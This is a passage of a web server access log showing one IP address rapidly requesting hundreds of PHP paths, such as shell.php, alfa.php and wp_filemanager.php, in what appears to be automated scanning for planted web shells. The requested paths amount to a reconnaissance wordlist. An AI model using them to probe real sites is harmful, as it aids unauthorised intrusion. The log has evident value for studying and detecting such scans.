HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:40 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:33 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:33 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:36 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:38 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:38 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:39 +0300] "GET /7logs.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:40 +0300] "GET /css/xp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:42 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:10 +0300] "GET /ad1.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:35 +0300] "GET /inwp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:43 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:48 +0300] "GET /ad1.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:05 +0300] "GET /fgd.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:28 +0300] "GET /wp-mail.php/wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:54 +0300] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:04 +0300] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:45 +0300] "GET /wp-admin/includes/install.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:56 +0300] "GET /admin/ty.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:01 +0300] "GET /wp-admin/upgrade.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:24 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:25 +0300] "GET /assets/edit.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:46:48 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:30 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:31 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:31 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:39 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:41 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:41 +0300] "GET /gfile.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:50 +0300] "GET /sys.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:01 +0300] "GET /sys.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:12 +0300] "GET /sys.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:12 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:12 +0300] "GET /wp-tem.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:44 +0300] "GET /agg.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:06 +0300] "GET /G-In.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:26 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:28 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:39 +0300] "GET /assets/css/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:58 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:11 +0300] "GET /ad1.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:35 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:36 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:39 +0300] "GET /ad1.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:42 +0300] "GET /nz.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:44 +0300] "GET /inwp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:02 +0300] "GET /fgd.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:27 +0300] "GET /wp-admin/user/content.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:35 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:37 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:38 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:56 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:00 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:02 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:06 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:06 +0300] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:39 +0300] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:40 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:04 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:10 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:29 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:39 +0300] "GET /assets/edit.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:59 +0300] "GET /wp-admin/user/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:10 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:50:24 +0300] "GET /7logs.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:50:39 +0300] "GET /css/xp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:50:47 +0300] "GET /css/xp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:00 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:21 +0300] "GET /css/xp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:23 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:39 +0300] "GET /gfile.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:11 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:13 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:14 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:15 +0300] "GET /gfile.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:15 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:17 +0300] "GET /sys.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:18 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:20 +0300] "GET /wp-tem.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:49 +0300] "GET /agg.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:28 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:03 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:05 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:07 +0300] "GET /gfile.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:49 +0300] "GET /X7T6.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:53 +0300] "GET /nz.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:55 +0300] "GET /inwp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:02 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:17 +0300] "GET /wp-mail.php/wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:20 +0300] "GET /wp-mail.php/wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:27 +0300] "GET /wp-mail.php/wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:30 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:41 +0300] "GET /wp-admin/user/content.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:43 +0300] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:19 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:20 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:30 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:54 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:09 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:11 +0300] "GET /wp-admin/upgrade.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:17 +0300] "GET /wp-admin/media.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:08 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:10 +0300] "GET /wp-includes/assets/themes.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:37 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:40 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:40 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 176.65.132.19 - - [04/Apr/2026:13:22:54 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15" 20.151.229.110 - - [04/Apr/2026:15:49:58 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:45 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:47 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:05 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:35 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:36 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:49 +0300] "GET /agg.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:04 +0300] "GET /G-In.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:12 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:23 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:59 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:22 +0300] "GET /nz.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:42 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:43 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:24 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:25 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:35 +0300] "GET /wp-admin/upgrade.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:40 +0300] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:40 +0300] "GET /wp-admin/includes/install.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:41 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:41 +0300] "GET /wp-admin/includes/install.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:51 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:55 +0300] "GET /wp-admin/media.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:55 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:55 +0300] "GET /wp-admin/upgrade.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:56 +0300] "GET /wp-admin/media.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:09 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:10 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:34 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:09 +0300] "GET /wp-includes/assets/themes.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:14 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:16 +0300] "GET /wp-includes/assets/themes.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:22 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:24 +0300] "GET /wp-includes/assets/themes.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:25 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:35 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:59 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:12 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:20 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:21 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:24 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 51.68.111.218 - - [04/Apr/2026:15:28:23 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.111.218 - - [04/Apr/2026:15:28:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 20.151.229.110 - - [04/Apr/2026:15:49:44 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:32 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:51:53 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:50 +0300] "GET /agg.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:56 +0300] "GET /G-In.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:19 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:30 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:30 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:31 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:49 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:54 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:53:54 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:04 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:06 +0300] "GET /assets/css/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:08 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:18 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:54:48 +0300] "GET /nz.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:30 +0300] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:42 +0300] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:45 +0300] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:09 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:15 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:28 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:26 +0300] "GET /index/lock.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:26 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:32 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:34 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:34 +0300] "GET /index/lock.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:36 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:49 +0300] "GET /assets/edit.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:56 +0300] "GET /wp-admin/user/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:45 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:46 +0300] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:46 +0300] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:48 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:57 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:11 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:24 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:42 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:01 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:02 +0300] "GET /X7T6.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:04 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:06 +0300] "GET /Rk41.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:14 +0300] "GET /fgd.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:16 +0300] "GET /fgd.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:22 +0300] "GET /fgd.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:55:40 +0300] "GET /wp-admin/user/content.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:08 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:08 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:09 +0300] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:12 +0300] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:18 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:21 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:26 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:26 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:26 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:30 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:33 +0300] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:56:34 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:08 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:09 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:19 +0300] "GET /index/lock.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:42 +0300] "GET /assets/edit.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:52 +0300] "GET /assets/edit.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:52 +0300] "GET /wp-admin/user/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:54 +0300] "GET /wp-admin/user/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:57:56 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:08 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:09 +0300] "GET /wp-includes/assets/themes.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:58:27 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:05 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:33 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:55 +0300] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:56 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:57 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:59:59 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:00 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:25 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:26 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:29 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:16:00:45 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 182.44.10.67 - - [04/Apr/2026:13:02:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.229.110 - - [04/Apr/2026:15:51:38 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:11 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - [04/Apr/2026:15:52:28 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 20.151.229.110 - - 